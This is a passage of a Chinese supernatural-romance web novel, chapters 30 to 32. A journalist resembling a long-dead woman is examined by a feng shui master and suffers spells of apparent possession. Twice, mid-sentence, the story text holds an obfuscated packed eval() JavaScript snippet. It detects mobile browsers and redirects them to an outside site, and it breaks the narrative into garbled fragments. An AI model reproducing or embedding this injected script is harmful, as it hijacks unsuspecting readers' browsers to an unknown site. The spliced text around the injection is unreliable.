一回到家里,迷迷瞪瞪地洗了澡,又被老妈逼着喝了一碗解酒汤,颜珺瑶倒头就睡。 一夜好眠。 次日一早,颜珺瑶睁开眼睛,发现自己是在家里的房间,好一会儿才想起来是怎么回事。 回到单位,吕嫣忙里偷闲,缠着她要看照片,颜珺瑶只好给她看了。 吕嫣“咦”了一声,又快速地滑动屏幕,盯着她看,“咋没几张你的照片啊,基本都是新娘子的——” “……因为昨天是新娘子的婚礼呀,而且我也自拍了两张。” “你说的什么废话呢!”吕嫣白了她一眼,“好不容易有个机会化全妆,又是盛装打扮的,咋不哐哐地猛拍呢?真是笨蛋!我要是你,昨天洗澡的前一秒,我都要给自己再多拍一张。” 颜珺瑶眨眨眼,咋回事,突然觉得她说得好有道理。 她想起了什么,点开和张熙杰的微信对话框,把昨天张熙杰发给她的照片都下载了,而后又递给吕嫣瞧。 吕嫣一挑眉,“哎呀,真好看,没想到你还有这么女人的一面呀!” 什么话! 颜珺瑶斜乜她一眼,“我本来就是女的。” “这小腰身!”吕嫣趁机用手指戳了一下颜珺瑶的腰,好奇道:“这几张是谁拍的?张熙杰吗?” 颜珺瑶刚张开嘴,吕嫣就瞪她,“别否认,肯定是他拍的,他昨天下班前都说了也要去参加婚礼的,别想瞒我!” 她没想否认啊! “嗯,是他拍的,整场他认识的人不多,跟我最熟悉,肯定拍我呀!” “切,找补什么呀!他肯定喜欢你——哎,你干嘛去?” 颜珺瑶站了起来,作势要往吕嫣的工位上去,“我去把你桌上的那盒喜糖礼饼拿走,反正你吃假瓜已经吃饱了!” 吕嫣一把抱住她的腰,“我错了,我错了,姐,他不喜欢你,他绝对不喜欢你,他讨厌死你了——” “……” 经吕嫣这么一八卦,颜珺瑶脑子里倒是想起了那位姨奶奶。 昨天老人家见到自己时的反应,和许忠林第一次见到她时的情况类似,而且还反复确认她的名字。 姨奶奶已经九十多了,比许修远的爷爷年纪还要大,而且许修远和老人家似乎挺熟悉的,说不定两家是世交,姨奶奶很有可能见过旗袍女人,所以昨天误以为自己是旗袍女人的后人。 想了想,她给许修远发了一条微信。 【昨天那位姨奶奶,她会不会认识旗袍女人呢?】 很快,许修远回复了信息。 【嗯,应该是,我找时间拜访一下,详细问一问。】 嘿,就等着他这句话! * 又到了新的周六。 颜珺瑶再次坐上江成的车子,到了许家老宅。 尽管这次过来是许忠林允许的,而且还是他主动提出的,但她心里还是忐忑的。 不是因为第一次的冷遇,而是—— 她展开双手,仔细看了又看,回想起那天在外公家的客厅,自己出现了两次不受控的情况。 如果不是她意志力还算坚定的话,也许那天她就犯错了。 到底是谁在控制她呢? 是小女孩,还是旗袍女人? 这么一琢磨,她突然又有点后悔了,自己是不是不该答应跟过来呢? 站在许家老宅的院门外,按响门铃,很快就有人过来开门。 大门一打开,颜珺瑶就对上了一双含笑的眼眸,是许修远。 居然又是许修远。 “两位请进!” 哦,这是他家,他在也正常。 30. 第 30 章 进了客厅,和上次一样,颜珺瑶并没有看到许忠林,这次那位宗叔也不在楼下。 在沙发上坐下,她开始有点忐忑起来,用力咬了咬舌尖,让自己保持清醒。 “两位稍等,我爷爷在楼上,我上去叫他。” 许修远很快上了楼,一位中年阿姨从厨房出来,送上了水果点心还有茶水。 两人都无心于面前的点心茶水,静等着主人公出现。 没多久,许修远扶着许忠林下了楼,坐到了沙发上。 颜珺瑶注意到许修远也顺势坐在了许忠林边上,她忍不住看了他一眼,想来接下来的采访他应该是都在场的,不过许忠林似乎并不在意。 也对,他的事情,让自己的孙子知道也没什么。 许忠林这次的反应和上一次截然不同,态度和蔼可亲,简直让人如沐春风。 简单的寒暄过后,进入了正题。 江成在来之前就做好了提纲,提前和许忠林沟通过了,所以这一次的采访非常顺利。 两人畅聊起许忠林年少时的锦绣岁月,纯真与激情,以及被遗忘在时间里的如烟往事。 颜珺瑶很快进入工作状态,凝神听着,笔下不断记录。 * 采访进行地差不多了,许忠林突然开口要留江成和颜珺瑶喝杯茶。 颜珺瑶第一时间看向江成,盛情难却,江成笑着答应了。 刚才那位阿姨又重新送上了刚准备的茶点水果,这时候,从楼上突然下来一个陌生的中年男人。 约摸四十岁左右,穿着休闲,身材笔挺,体态良好,不胖不瘦,显得非常精神,而且看着十分和气的感觉。 颜珺瑶愣了下,就听许忠林介绍道:“这是我朋友赵敬鸿,今天赶巧也过来看我。” 赵敬鸿也坐了下来,许忠林又一一向他介绍了江成和颜珺瑶。 颜珺瑶觉得有点怪怪的,一时也想不明白,对着赵敬鸿微笑颔首。 几人聊了起来,她端起面前的茶杯喝了一口,伸长耳朵听着。 听着听着,她注意到了一点。 许忠林似乎主要都是和师傅说话,许修远偶尔会说上一两句,但那个赵敬鸿——好像就没怎么说过话。 余光里,她感觉这个陌生男人似乎在看着自己,而且好几次了。 这个人,似乎在观察她。 颜珺瑶佯装随意地抬眸,视线扫过他的方向,不期然地和他对视上。 对方半点尴尬也无,仍旧一副云淡风轻的笑模样。 “……” 颜珺瑶垂眸,又端起杯子喝了一口,瞥了一眼对面的许修远。 他正侧头看着许忠林,听他说话。 她发现,今天许修远似乎还是和上次在外公家一样,对她表现地很生疏。 他不希望许忠林知道她和他早就认识,而且目前还保持着联系,就为了调查那个女人。 大概是感觉到了她的沉默,许忠林未免她尴尬,将话题转移到了她身上。 “上次拜访之后才知道,颜小姐原来是久负盛名的钱伟诚先生的外孙女,你外公家是世代从医,听说你外婆家也是书香世家,好几代都是教书育人,没想到颜小姐当了记者。” 江成闻言,微微一愣,不禁看向颜珺瑶。 颜珺瑶抿唇一笑,说道:“那些都是他们老一辈的成就,他们之前是希望我学医或是读师范,不过后来两个都没选。” “年轻人有自己的想法,自己的理想,这是好事。”许忠林赞了一句,顿了顿,又问道:“不知道颜小姐的爷爷这边,是做什么的呢?” “我爷爷是木匠,干了好几十年。” “怪不得颜小姐做事这么认真,看来是深受家里长辈的匠人精神影响。” “……谢谢许老先生夸赞。” * 下午茶过后,颜珺瑶和师傅江成告辞离开了许家老宅。 车子刚开出去没多久,颜珺瑶就忍不住问江成。 “师傅,你觉得刚才那个中年人是谁?” 一般情况下,要是去别人家里探望,都会提前说时间,但许忠林很明显是知道采访时间的,而且还是他自己定的,但还是让对方去了许家老宅。 即使对方因为某些原因,非去不可,但是在师傅和她到了之后,赵敬鸿却并没有离开,而是在楼上等了这么长时间,之后许忠林又让他一起喝下午茶,全程和赵敬鸿也没怎么说过话。 看似被许忠林忽视,但她有些怀疑,这个赵敬鸿会不会是许忠林故意安排的,就为了观察她呢? 江成笑着看了女主一眼,“你不觉得许老先生对你挺关注的吗?” 颜珺瑶轻轻地“啊”了一声,抓了抓脸颊,“老爷子前几天去我外公那里看病,我刚好也在,我估摸着是因为我外公的缘故所以多问了我几句。” 江成笑了笑,突然说道:“我觉得那个赵敬鸿像是阴阳风水师之类的人,他刚才似乎一直在观察你。” 阴阳风水师? 颜珺瑶有点牙疼,许忠林老爷子难道怀疑她不是人吗? 还是怀疑她是那个旗袍女人投胎转世的? 她正胡乱猜测着,就听江成问道:“珺瑶,你之前认识许修远吗?” “嗯,我大学一个学姐是他的秘书,上次同学聚会,他正好也在那家酒店,恰巧就认识了。” 颜珺瑶说了实话,但又没有完全说实话。 “其实上一次我过来采访的时候,许老爷子就提起你,问了一些你的工作情况。今天又这么好奇你的家世,而且许修远居然也在——”江成侧头看了一眼颜珺瑶,颜珺瑶眨眨眼,师傅很少会卖关子,她突然有些好奇他的下文。 “我能想到的一种可能是,老爷子看上你了,想让你当孙媳妇,所以才特意找了这么一位风水先生过来看看你的面相。” “……啊——” 颜珺瑶干笑一声,“不太——可能吧!” 不是不太可能,是不可能,绝对不可能。 * 这件事在许忠林这里也是绝对不可能的。 在颜珺瑶和江成离开之后,许忠林就把赵敬鸿请到了楼上的会客室。 一关上门,不等许忠林开口询问,赵敬鸿就说道:“老先生放心,这个姑娘不是她转世的,也并没有夺舍的情况。只是——” 他顿了下,“我发现这个颜珺瑶三魂不稳。” 许忠林一惊,急切道:“三魂不稳?” “对,她三魂不稳,近期一定易受惊吓,偶有神志恍惚的情况出现,而且小病不断。只是按理说,这姑娘如此好的命格,不应该会出现这种情况。除非——她被阴魂缠上了。” 许忠林一下子愣住了,半晌,他才开口问道:“难道她是被那个女人缠上了?但这几次见到我,却不见她有任何举动,难道—— 他腾地站了起来,“难道她的目标是小远? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983971|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 赵敬鸿缓缓地摇头,“很奇怪的是,她身上阴气并不重,又不像是被阴魂缠上了。” 许忠林长长吐出一口气,坐了回去,良久才喃喃自语:“也许颜珺瑶的那张脸,真的只是巧合。” 赵敬鸿离开之后,许修远照例留在老宅陪许忠林吃饭。 等到许忠林放下筷子,许修远才佯装随意地说道:“爷爷,今天您和赵先生似乎对那位颜小姐挺好奇的。” “呵呵,一个小丫头有什么值得好奇的,只是看在她是那位老中医外孙女的份上罢了。” “她外公确实很厉害。”许修远附和,继而又道:“您不会是想先请赵先生给她看面相,然后再介绍给我吧? 许忠林一下子拉下了脸,“胡说什么,就算你真的对她有意思,我也不会同意的。” “爷爷,我开玩笑的,不过您也说过,结婚的事,您不会干涉我的。” “你找其他女孩都可以,就她不行。” 许修远故作好奇,“这个颜小姐怎么呢?您怎么对她这么——” “不行就是不行,哪有那么多为什么。”许忠林呵斥他,随即话锋一转,“对了,你和左家那个闺女联系地怎么样?” 许修远擦了擦嘴,“我跟她——不合适。” “你说说你喜欢什么样的,爷爷再帮你介绍。” “爷爷,不用介绍了,我自己会找女朋友的。” “你们现在年轻人——”许忠林不满地哼了一声,“我和你奶奶也是相亲认识的,我跟她感情照样很好,什么合适不合适,门当户对才是最重要的。不过——” 他深深地叹了口气,“你的事,我也不掺和了,你自己做主吧!爷爷就是喜欢你早点结婚生子,多生几个孩子。” 许修远不置可否,看着许忠林,“爷爷,家里的事情您为什么要一直瞒着我呢?说不定我能帮上忙。” “帮什么帮,不用你帮忙,你也帮不上,你给我好好的,爷爷现在就只有这一个心愿。” 许修远沉默片刻,“您是担心我和大伯,还有我爸那样出——” 许忠林猛地站了起来,“住嘴。” * 晚上八点,颜珺瑶结束了和表舅的电话,得知他还得有一段时间才能回来,心里不免有些失落。 今天在许家的情况,让她越发好奇,越来越着急想知道真相。 她的心就像是被钩子勾住了一般,只要一有空,就会琢磨这件事。 把手机扔到床上,拿着睡衣进了洗手间洗澡。 等到她重新回房,手机上多了好些微信,是大学舍友冯玲发给她的,跟她吐槽最近工作生活中遇到的种种倒霉事。 听完了所有的语音,她不禁感慨真是同命相连,她和冯玲最近都好倒霉啊! 冯玲的语音通话紧接着就进来了,于是两人互道苦水,当然了,颜珺瑶还是很谨慎,不能说的一个字都没说。 大学舍友里最怕这些灵异鬼怪的人就是冯玲,她不想把她吓坏了。 最后,颜珺瑶在冯玲委屈的哭声中,答应了下一个休息日过去看她。 下一个休息日是啥时候来着? 躺到床上,大概是刚才和冯玲聊得太起劲,大脑仍旧出于兴奋状态,丝毫没有睡意。 转辗反侧之时,手机又响了。 是许修远的微信。 【颜小姐,不知你什么时候方便,可否一起吃个晚饭?】 31. 第 31 章 颜珺瑶激动地从床上坐了起来,别不是许修远那边又查到了什么吧? 择日不如撞日,那就明天吧,越快越好。 而且估计像许修远这样的大忙人,应该也只有周末才会比较清闲一点,比如今天,就是周六。 【嗯,要不明天晚上吧?你有空吗?】 许修远很快回复。 【有空,你喜欢中餐还是西餐?】 嘿,这个许修远还挺讲究的,吃什么不重要呀,重要的是到时候说了什么。 她想了想,迅速编辑了回复。 【都可以,你定吧,到时候把地址告诉我,我明天下班后直接过去。】 * 到了第二天中午,许修远才发来了一家餐厅的名字,以及一个地址。 一个从没听说过的餐厅,名字很特别,特别言简意赅。 香园。 如果没有提前知道这是个餐厅,光听这个名字,她会以为是什么种植花草的地方。 而且这个地址——好像也没去过。 不过没事,有地址总能找到的。 颜珺瑶心里这么想着,打开地图软件,正要搜索,许修远又发来了一条微信。 【这家餐厅可能不太好找,如果你方便的话,我去接你?】 颜珺瑶想了想,他来接自己,这样她确实省事,只是—— 今天下午她要去第一医院做一个后续采访,已经提前约好了,就是不知道他是否方便去医院接她。 对于这个情况,许修远只回复了两个字。 【顺路。】 好吧! 颜珺瑶放下手机,继续手头上的采访提纲。 弄好之后,时间也差不多了,她下意识地往摄像师李逸飞的工位看去,结果和预料中的一样,工位是空的。 李逸飞虽然时不时就会被领导嫌弃不会说话,嘱咐他少张嘴,但奈何他有实力,领导对他的工作很满意,大家平日里也都喜欢叫他出去采访,一天下来几乎没多少时间会待在办公室。 颜珺瑶叫上栏目组新招的实习摄像,拿上设备,前往第一医院。 这个后续采访是关于十天前的建筑工人被打事件的追踪。 建筑工人举报在建楼盘使用不合格钢筋,但还没等他的举报引起广泛关注,两天后的晚上他在回家的路上突然遭到一群社会青年的围殴。幸亏及时被人发现,报了警,但建筑工人也受了重伤,除了身上的打击伤之外,还被捅了两刀。 事后几名社会青年被抓,但宁愿被判刑,也不说出是谁指使的他们,口径出奇一致而且荒唐,就是看当事人不顺眼。 来到病房,建筑工人的伤势比之前好些了,这些天一直都是妻子在身边寸步不离地照顾,夫妻俩正等着颜珺瑶过来。 建筑工人叫李志杰,不到三十岁,还很年轻,整个采访过程都十分配合,认真回答每一个问题。 当被问到是否后悔举报的时候,李志杰眼神坚定,摇头表示不后悔。 “小时候我家里条件不好,我父亲外出打工,住在工地的宿舍,结果一场暴雨,房子就塌了,我父亲和一位工友就这么没了。房子是用来住人的,如果材料都不合格,怎么能保证安全呢?人命不能拿来开玩笑的。” “打我的那几个人说的是看我不顺眼,但我知道是怎么回事,就昨天晚上,还有人打电话威胁我,让我识相点,他们太嚣张了。” 结束采访,颜珺瑶和实习摄像不再打扰他休息,收拾好器材,离开了病房。 刚到了一楼大厅,颜珺瑶接到了王主任打来的电话,被告知这个后续采访暂时不报道,等通知再说。 颜珺瑶先是一怔,而后情绪变得有些激动,询问理由。 王主任给的理由是,上面领导的决定,他也无能为力,让颜珺瑶不要多问,等通知就可以。 颜珺瑶一时有些无法接受什么“等通知”,因为这很可能意味着不会再报道了。 实习摄像见颜珺瑶脸色不好,颇为忐忑地看着她,小心翼翼地问道:“姐——你没事吧?” “我没事,”颜珺瑶深吸一口气,勉强笑了下,“今天的素材记得保存啊,说不定哪天就能用了。” “我一定保存好的。”实习摄像忙不迭点头,“珺瑶姐,那现在——回单位吗?” 颜珺瑶看了眼手机,“你先回去吧,我还有点事。” 等到实习摄像坐上车后,颜珺瑶再次去了李志杰的病房,提着刚出去买的水果和营养品。 夫妻俩都不好意思收,颜珺瑶表示这是他们栏目组的一点心意,又嘱咐李志杰好好养病。 她没有多待,放下东西又说了几句话就再次离开了。 她不敢多待,也不好意思多待,面对夫妻俩的真诚与信任,她觉得对不起他们。 站在医院大门外,望着车水马龙,她有些迷惘。 除了水果篮里的一千块钱,自己还能为他们做点什么呢? * 第一医院快到了。 绿灯亮起,车子继续往前,又过了一个路口,许修远看到了医院大门口。 同时也看到了站在路边,似乎在出神的颜珺瑶。 车子停下,许修远下了车,走了过去,直到他站到了她面前,颜珺瑶才回过神来,抬眸注意到他。 “哦,你到了啊——”颜珺瑶吓了一跳,下意识往后退了一小步,顿了顿,呵呵笑了下,“那走吧!” 上了车,系好安全带,她才想起来,今天和许修远吃饭的目的。 她刚张开嘴要问什么,许修远却先她一步说话了。 “下午的采访顺利吗?” “嗯,挺顺利的。”颜珺瑶抿着唇,下意识叹了口气。 许修远侧头瞥了她一眼,想了想,打开中央扶手箱,拿出一盒巧克力,递到颜珺瑶面前。 “饿了吗?先吃点巧克力垫垫肚子。” “哦,谢谢——”颜珺瑶接了过来,没多想,打开之后随便拿了一颗剥了,塞进嘴里。 甜中带着微苦,醇香浓郁,一下子治愈了她的沮丧,刚才的失落一扫而空,心情感觉又放晴了。 她忍不住又剥了一颗,吃完之后,才问道:“香园离这儿远吗?” “半个小时左右。” “哦,那不远。”颜珺瑶点点头,突然想起什么,“对了,昨天那位赵先生,他是从事——阴阳风水方面的吗?” “嗯,他是我爷爷的朋友,”许修远顿了顿,“抱歉,昨天是我爷爷请他去老宅的。” “哦,”颜珺瑶露出“果然如此”的表情,随后道:“没事,如果我突然碰到一个长得和几十年前就过世的人相似的,一时半会儿也会觉得害怕。” 不止是许忠林,还有那位姨奶奶,感觉都被她的脸吓到了。 这时,颜珺瑶的手机响了,是父亲颜志华打来的。 “瑶瑶,你在单位吗?爸爸顺路去接你下班,一起回家吃饭?” 颜珺瑶嘻嘻笑起来,“老爸,我正跟朋友去吃饭呢,你晚了一步啦!我明天晚上回去!” “这样啊,那你先好好吃饭,明天晚上一定要回来啊!” “嗯嗯,一定回去,我待会儿得好好想想,晚上写个菜单发给你们,嘿嘿!” 颜志华又叮嘱了几句,就挂了电话。 许修远不禁抬眸看了一眼内视镜,看着颜珺瑶满脸洋溢着欢喜的笑容,跟着笑了。 * 香园到了。 颜珺瑶抬眸一看,旧式的院墙,古朴雅致的木质大门,第一眼会让人以为这里是历史建筑,再加上它的名字,想不到这里居然是吃饭的地方。 跟着许修远进入大门,豁然开朗,别有洞天,像是置身于烟雨江南,别有一番意趣。 偌大的院子里种植着许多花花草草,幽香屡屡,假山飞石,水声潺潺,让人心旷神怡。 颜珺瑶顿时感觉自己没见识了,之前居然都没听说过这里,而且也没注意到新闻媒体上是否报道过。 她一路走,一路贪看,要是电视台能来这里拍摄,做一期节目一定挺不错的。 可转念一想,也许是这里的老板根本不需要这些宣传, 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许修远对上颜珺瑶期待的目光,喝了口茶,才回道:“暂时还没有,等我出差回来,先去拜访一下张奶奶。” 张奶奶? 颜珺瑶想了想,才发应过来他说的应该是那位姨奶奶。 “哦,”她下意识点头,“那位姨奶奶看着还挺精神的,应该会知道些什么。” 许修远“嗯”了一声,如果不是爷爷安排他和左心玥相亲,他还想不起来张奶奶的父亲和太爷爷生前是好友。 在此之前,他特意拜访了一位世交的爷爷,但对方却对他说:“小远,你应该听你爷爷的,他不想让你知道,就一定是为你好的。” 这位爷爷很显然是了解许家早年的事情,但却不愿意透露,不过幸好他事后并没有让爷爷知道他在打听这些。 “酒宴那天,她就问过我,你和我是什么关系。” 颜珺瑶愣了下,随即了然地“啊”了一声,“姨奶奶是觉得我可能是你的亲戚,比如堂妹或是表妹什么的?” “嗯,所以张奶奶肯定是见过她的。” 许修远看着她,如果不是族谱上明确写着太爷爷名下只有三个孩子,而且还都是太奶奶生的,他也会这么误会的。 “这么说来的话,”颜珺瑶轻轻抓了下脸,皱眉道:“是不是就表明那个女人真的生过孩子呢?族谱上又没有,真是奇怪——” 蓦地,她想到了一种可能,会不会是族谱后来被人改了呢?比如——许忠林? 抿抿唇,她有些犹豫,这话——要不要说呢? “颜小姐——”许修远突然叫了颜珺瑶一声。 “嗯?”颜珺瑶抬头看他。 “很抱歉,前几次采访,我爷爷对你有所误会,所以可能态度有所不当,做法也有所欠妥。” 颜珺瑶笑眯眯地说道:“没事没事,其实也算是我吓到你爷爷了,上次婚宴上估计也把那位姨奶奶给惊到了,而且许老先生实际上也没对我做什么。” 包间的门就在这时被敲响了,服务员进来上了菜,摆好之后,很快就离开了。 等到包间的门再次关上,颜珺瑶只觉得眼前一晃,突然就有点头晕。 她用力揉了揉太阳穴,似乎好了些。 许修远见状,问她是不是不舒服,颜珺瑶摇头,表示没事。 桌上的彩色十分精致,看起来就让人很有食欲。 颜珺瑶尝了一口,不禁两眼一亮,随即一口接一口地吃起来。 许修远看着她认真吃饭的模样,眉头一扬,也跟着有了胃口。 吃得差不多时,颜珺瑶再次感觉到头晕,有些迷糊,她放下了筷子,轻轻晃了下头,很快缓了过来。 “……要不要去医院看看?”许修远觉得她不像是没事的样子。 “……没事了——” 颜珺瑶莞尔一笑,就在这时,服务员送了餐后甜品进来。 垂眸看着面前的青花瓷碗,突然忍不住用指尖轻轻触碰,而后缓缓抬眼,深深地看着面前的年轻男人。 32. 第 32 章 许修远一怔,心头一动,轻咳一声,“颜小姐,你——是不是不舒服?” “我说了我没事呀,”颜珺瑶微微歪了下头,“叫我珺瑶吧,我们已经认识很久了。” “……好。” 颜珺瑶用手支着下巴,低下眼睫瞥了一眼手边的碗,再次看向对面,“许修远,你们家现在还用这种青花瓷碗吗?” “我妈喜欢,有时候会用。” “这样啊,阿姨真有品味,”颜珺瑶慢条斯理地笑道,“是老物件吗?” “不是,”许修远眉眼带上笑意,“她不敢用,有些介意。” “那你爷爷呢?” 一瞬之间,许修远心里突然有种古怪的感觉,但也没有多想,笑了笑,回道:“他确实收藏了一些瓷器,你也对这些感兴趣?” “我不感兴趣,也不敢感兴趣,瓷碗再怎么名贵,用来吃饭也都只是碗,你觉得呢?”颜珺瑶轻声笑了下,不等许修远回答,也不在乎他是否回答,紧接着又问道:“对了,你的名字,修远,很好听,是取自路漫漫其修远兮吗?” “嗯,我妈喜欢这两句,所以就给我取了这个名字。” 颜珺瑶稍感诧异,轻轻地“啊——”了一声,“你们家取名不用按字辈吗?” 许修远有问必答,“以前是,现在没那么讲究,而且就算是老一辈子的,也有例外的,要求并没有那么严格。” “哦,谁是例外的呢?你爷爷吗?” “我爷爷不是,”许修远摇了摇头,“但族谱上确实有,不过很少,而且算是旁系,我太爷爷的一个堂叔就是。” “旁系,旁系——”颜珺瑶似乎是听到了什么可笑的事情,闭着眼睛笑起来,口中不停喃喃地这两个字。 “对你来说,确实是旁系。” 那种古怪的感觉再次冒了出来,许修远敛了下眸,定定地看着她,“珺瑶,你怎么呢?” 蓦地,他站了起来。 颜珺瑶突然间用力咬着下唇,面露痛苦之色,在不停地晃着脑袋。 他立刻走到颜珺瑶面前,“珺瑶,你是不是头晕——” 下一秒,他的右手被猛地抓住,再一看,颜珺瑶面色如常,似乎——缓过来了? “……你感觉怎么样?” 颜珺瑶缓缓地扬起嘴角,“放心吧,我真的没事,而且我也不想去医院,不过——” 她紧紧抓着许修远的手,“我想去江边走走,透透气,你陪我去吗?” * 一坐上车子,颜珺瑶就歪着脑袋,靠在靠背上闭上了眼睛。 许修远偏头一看,不禁失笑。 安全带还没扣上,就睡了过去,如果不是自己和她一起吃的饭,他都要怀疑刚才她的饭菜里被加了安眠药了。 解开安全带,俯身帮她扣上,就在他撤身之时,似乎听到她嘴里在低声咕哝着什么。 仔细听了下,没听清楚,只听到一个“许”字,好像是在叫他的名字,但很快她就不再继续说了。 车子上路,路上有些堵,走走停停的,许修远时不时回头看她,担心她是不是真的不舒服。 行至半路,又是一个红灯,车子刚停下,许修远就看到颜珺瑶睁开了眼睛。 “珺瑶——” “嗯?我刚才好像睡着了——”颜珺瑶揉了揉眼睛,“好堵呀,哦,周天晚上。” “你要是困的话,继续睡吧,到了我叫你。” 颜珺瑶总觉得哪里好像有点奇怪,侧过身子看了眼许修远,还是没想出来,脑子依旧发晕,低低“嗯”了一声,再次闭上了眼睛。 到了江边,许修远绕了大半圈找到了一个停车位。 车子一停好,他刚要叫醒她,就见颜珺瑶猛地睁开了眼睛,眼神清亮,看来是睡饱了。 “到了啊——”颜珺瑶喃喃自语了一句,“好久没来了!” “头还晕吗?” 颜珺瑶转身和他对视,好一会儿才笑着说道:“我没事,你——很善良。” “……”许修远淡淡笑了下,“咱们下车吧,现在江边应该挺热闹的。” 颜珺瑶的手刚搭到车门把手上,闻言顿了顿,随即就下了车。 现在才八点左右,而且还是周末晚上,江边确实很热闹,不少人都会趁着晚上的时间来这边散散步。 风吹拂到脸上,凉爽潮湿,似乎能闻到江水的味道。月色如水,清澈柔和,此刻正挂在岸边的一株大树梢头。 许修远走在颜珺瑶身边,不时看她一眼,但对方的视线却一直落在江边,而且一言不发。 他忍不住问道:“珺瑶,你是在找人,还是——” 颜珺瑶停下步子,“不找人啊,不是有你陪我来吗?” 她伸手往前一指,“咱们去那吧,这边都太吵了,那里没什么人,我不喜欢人多的地方。” 许修远顺着她指的方向望去,前方一百米左右确实人少,只有一个人在夜钓,于是点点头,慢慢走了过去。 两人刚靠近,夜钓的老人就回头看了他们一眼,颜珺瑶和许修远对视了一眼,拉起他的手又往前走。 直到走到一丛灌木旁,颜珺瑶才松开了手,在一旁的大石上坐了下来,拍了拍旁边的位置,抬头对许修远说道:“就坐这儿吧,这儿多凉快啊,也没人,咱们聊聊天。” 许修远挨着她坐下了,看着不远处的江面,风一吹,乍起波澜。 颜珺瑶说话了:“许修远,你会游泳吗?” “会,应该是初中的时候学的,你呢?” 颜珺瑶眉眼弯弯地看他,“我不太会,等一下我要是不小心掉进去了,你正好可以救我。但是呢——” 她朝他伸出手,“我虽然不会游泳,但我会看手相,我帮你看看吧!” 许修远深深地看了她一眼,将手放在她的掌心中。 就着月色,她拉着他的手凑到眼前,煞有介事地观察了起来,良久才抬头问道:“你想问什么?” 许修远忍俊不禁,“都可以。” 颜珺瑶开始大展身手,“你十三四岁的时候生过一场重病,没有危及生命,但却让你在家里休养了近半个月,之后的十几年,你基本上就没有进过医院,身体一直都很好,我说的对吗?” 许修远脸上的笑容一顿,十三岁生病的时候,他正好是在国外过暑假,也是在国外休养好的,知道这件事的只有爷爷奶奶和爸妈,连家里的阿姨都不清楚。 她居然真的会? 颜珺瑶得意地说道:“我不骗你吧,我——我爸教我的,我学了点皮毛。” “嗯,你说对了,”许修远眼带笑意地看着她,“叔叔是做什么的,怎么还学过这些?” “他——他是中医,和外公一样,不过他年轻时碰到过一个高人,教了他一些。” 原来如此。 “那我继续说了啊!” “好,你继续。” “你三十岁会结婚,命中至少有一子一女,不过——”颜珺瑶敛了笑容,表情多了几分严肃,余光里瞥见闪着涟漪的水面,“不过你——” 她的话倏地停住,因为就在这时,包里的手机响了。 颜珺瑶掏出手机看了一眼,愣了一下,随即身子猛地一晃,下意识地伸手要去撑着石面,却被许修远一把扶住了。 “珺瑶,你又头晕了?” “……”颜珺瑶眨了眨眼,仍是感觉有些恍惚,“哦,就是今晚有点头晕,一阵一阵的,没事。” 许修远松开了她的手,不小心瞥见了手机屏幕上的名字,若有所思地看着她。 手机铃声还在继续,颜珺瑶接了起来。 是张熙杰打来的,他听说了下午的事情,特意打电话来安慰她。 颜珺瑶想起下午的事情就有点失落,叹了口气,“我没事,回头再问问领导,看能不能争取。” 张熙杰知道她向来想得开,不会过度纠结一件事,于是便稍稍放心,又问她是不是在出租房,想不想去吃夜宵。 “嘻嘻,我不吃了,不饿,你刚下班吧,赶紧先去吃饭吧!” “那成,对了,你这周六也休息是吧,爬山去?” 周六? 颜珺瑶这才想起来,自己是这周六休息来着,不过—— “去不了啦,我昨天答应冯玲了,周六去X市找她。” 许修远闻言,侧头看了她一眼。 电话那头的张熙杰有点疑惑,“冯玲?这名字怎么这么耳熟?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991595|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我大学舍友啊,你不是见过吗?”正说着话,颜珺瑶突然感觉到鼻腔里一热,似乎有一股热流在慢慢流出。 她微微仰起头,赶紧挂断了电话,手忙脚乱地从包里拿了面巾纸,擦拭掉快流到嘴边的鼻血。 “流鼻血了?”许修远一惊,“这附近有医院,我带你去看看。” 所幸鼻血流的不多,很快处理好了,颜珺瑶这才笑着回道:“我可能就是这几天没休息好,睡一觉就没事了。” “真的——没事?” “嗯嗯,”她点点头,又看了看四周,突然觉得有点凉意,她搓了搓手臂,说道:“要不走吧,已经九点了。” 半夜,颜珺瑶突然惊醒了过来,直愣愣地盯着天花板,只觉得浑身燥热。 许久,她下床出了房间,打开冰箱拿了一瓶矿泉水,拧开喝了一大口,整个人一个机灵。 用力捏着矿泉水瓶,她突然想给自己两巴掌。 今晚她都跟许修远胡说八道些什么了? 还看手相,她会个屁啊?根本就不会!脑子真的出毛病了。 要不要——跟许修远解释一下?就说自己晚上都只是开玩笑的? 半晌,她关上冰箱,算了,越描越黑! * 许修远有些意外,左心玥又联系他了。 第一次见面之后,左心玥主动约过他几次,不过在他婉拒之后,应该是明白他的意思,就再没打过电话或是发过微信,那次在婚宴上也是偶然碰到,此后他和她也没有过任何交集。 今天这通电话是—— 他接了起来,令他没想到的,居然是张奶奶想见他。 “许先生,打扰了,别误会,我不是死缠烂打的人,而且我猜你应该是有喜欢的人了,我这人有一个优点,那就是知情识趣,不会让自己为难,更不会让别人为难。不过我们两家也算是认识,即使没有缘分,也希望做个朋友,不要断了两家的交情。” “今天给你打电话,主要是想麻烦你一件事。我奶奶生病住院了,这几天偶尔会念叨你,如果许先生方便的话,能不能抽一点时间来一趟医院?” 许修远没有犹豫,答应了。 当天下午,许修远提前离开公司,带上礼品,来到了省立医院的病房。 